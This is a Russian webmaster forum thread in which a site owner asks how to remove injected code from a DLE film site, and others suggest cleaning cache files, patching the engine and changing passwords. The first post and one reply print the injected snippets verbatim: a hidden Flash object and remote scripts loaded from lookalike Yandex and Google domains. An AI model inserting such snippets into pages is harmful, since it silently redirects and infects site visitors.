[kosa1]

Прошу помощи - на сайте стоит редирект на сайт 18+ , при чем то он есть, то его нет (редиректа...), яша ругается, но ничего не находят антивирусы... Стал рыскать, и увидел, что в каждой новости на сайте в полной и краткой стоят такие коды:

Код:

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="1" height="1"><param name="movie" value="http://webmasters-yandex.ru/flash.swf?461984536"><param name="quality" value="high"/><param name="scale" value="exactfit"><param name="bgcolor" value="#FFFFFF"/><param name="AllowScriptAccess" value="always"/><embed src="http://webmasters-yandex.ru/flash.swf?526533981" width="1" height="1" type="application/x-shockwave-flash" AllowScriptAccess="always" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed></object><script async="async" type="text/javascript" src="http://google-webmaster.ru/b6d767d2f8ed5d21a44b0e5886680cb9.js"></script>

где то повторяются где то отличаются... сайт -

Код:

http://dim-kino.com

Каждую новость геморойно редактировать - их много, можно ли как удалить сразу с каждой новости этот код сразу? И как обезопасить себя?

---------- Сообщение добавлено 19:11 ---------- Предыдущее 19:01 ----------

пытаюсь использовать встроенный поиск и замена - но он не находит и не заменяет этот код...

[bridge]

А если проверить файлы полной и короткой новостей в шаблоне?

[Planetsku]

kosa1,

Привет!
Я тоже недавно натолкнулся на жопу с вирусом! Долго искал что да как нашел virusonsite.ru Вроде помогло очень удобно и относительно не дорого.

[Leorik]

Planetsku, я тоже кстати этот сервис облюбовал

[bumer]

В шаблоне поищите, возможно там где то зарылась ссылка.

[Arsen]

kosa1,
Вирус вообще находится здесь: engine/cache/news_здесь ваши цивры и буквы, каждый файл нужно открывать (я использовал Notepad++) и из каждой новости удалять скрипт выгледит примерно так: В начале новости:

Код:

<script async="async" type="text/javascript" src="http://google-statistics.ru/js/c51ce410c124a10e0db5e4b97fc2af39.js"></script>

, В конце новости:

Код:

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="1" height="1"><param name="movie" value="http://webmasters-yandex.ru/flash.swf?820373588"><param name="quality" value="high"/><param name="scale" value="exactfit"><param name="bgcolor" value="#FFFFFF"/><param name="AllowScriptAccess" value="always"/><embed src="http://webmasters-yandex.ru/flash.swf?560644068" width="1" height="1" type="application/x-shockwave-flash" AllowScriptAccess="always" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed></object><script async="async" type="text/javascript" src="http://google-webmaster.ru/c51ce410c124a10e0db5e4b97fc2af39.js"></script>

Потом ставим фикс: http://dle-news.ru/bags/v10/1580-pot...le-minify.html. Меняем пороль от FTP и админ панели.... Если после этих действий вирус снова появляется обращайтесь к хостеру, значит у них где то дырка))

[liveman]

Вирус вообще находится здесь: engine/cache/news_здесь ваши цивры и буквы, каждый файл нужно открывать (я использовал Notepad++) и из каждой новости удалять скрипт

На фига? Это же кеш страниц просто, тупо удаляем все из папки кроме папки system и файла .htaccess

[Arsen]

liveman, а затем что данные записываются в базу данных. И если вы просто удалите эти файлы они востоновятся из последнего кеша, и у вас будет опять новости с этим же скриптом.
Уже было проверенно.

[izyalex]

Нужно искать скрипт который генерирует эту дрянь.
Да прибудет к вам знание команд SSH: find grep .

[liveman]

Arsen, что за бред? из какого они кеша восстановятся, если удаляется кеш? Выше правильно написали - искать надо дыру, а не кеширование временное исправлять!

Файлы кеша - временные файлы, созданные для меньшей нагрузки. Закрыв дырку и исправив файлы кеша - ничего не изменится, так как эти файлы потом обновятся и дрянь появится снова.

Как закрыли дыру - следующий шаг поиск скрипта, который эту дрянь генерирует. Так как закрыв дырку, скрипт все равно уже есть на сайте и данная хрень все равно появится.

После удаления скрипта, меняйте пасы на все.

После смены пассов - опять удаляйте кеш.

ЗЫ, если плохой юзверь получил доступ к БД - только править ее либо откатывать (из копии резервной), так как там можно натворить все что угодно